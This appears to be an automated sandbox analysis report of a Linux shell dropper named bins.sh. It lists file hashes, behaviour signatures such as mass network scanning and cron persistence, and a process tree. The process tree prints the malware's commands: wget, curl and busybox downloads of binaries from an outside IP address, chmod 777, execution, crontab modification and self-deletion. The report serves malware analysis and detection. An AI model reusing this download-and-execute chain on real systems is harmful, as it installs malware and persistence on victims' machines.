Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    24-11-2024 01:30

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fa2704f69bcefd901e2e3ca063a3a8d9

  • SHA1

    064f497aaf9573107f8b373e608dee54df2a205d

  • SHA256

    9eb63f75269e3be040c497aad4469eb0d59ae9c665ed79d2f0f839b9ef83f696

  • SHA512

    ad625e97d0c8cb40831213ece86efd36c94272d47e849119364ca732b26dbb581c1369918951dbee458d5672a71d4b80926b881d8404ecd70389f897bbdafffa

  • SSDEEP

    192:mTXvv7q7z3W7fQ7XHXzXOHvc7frq7z3xDmDaDguxxtpJnJ1JdJmvLw7Ftxm43YQA:5jL3zOHvcyBOigKLTmvLwRNRJOigg3zg

Malware Config

Signatures

  • Contacts a large (2211) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1472
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1473
        • /usr/bin/wget
          wget http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • Writes file to tmp directory
          PID:1474
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • Writes file to tmp directory
          PID:1475
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • Writes file to tmp directory
          PID:1488
        • /bin/chmod
          chmod 777 oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • File and Directory Permissions Modification
          PID:1489
        • /tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          ./oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1490
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1492
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1493
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1494
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1495
              • /bin/rm
                rm oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
                2⤵
                  PID:1497
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
                  2⤵
                    PID:1500

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

                  Filesize

                  99KB

                  MD5

                  9438d9bc392bcf300a5583b6df5bc8f6

                  SHA1

                  375a6ae34b516f6f3eeea8030c4084f585017efa

                  SHA256

                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                  SHA512

                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                • /var/spool/cron/crontabs/tmp.IAYwCy

                  Filesize

                  210B

                  MD5

                  e0c62b2f8768f011491f73402f132d78

                  SHA1

                  9402a59cd1be5f81edf1674e48b008740e3fd8f6

                  SHA256

                  93afbbc96b666dfea9e7010c2656fb1a3afe996a9e9e2fd28fe7a3fff4f62083

                  SHA512

                  fd9b5c13ea0f231fe6deee3f9ed3f676f6aa3ee9942b081de30723fd2608abaf37e841c370ef2c7e326ca4213b77051d46515f1d9f3898d6abddf91abc2b3dc5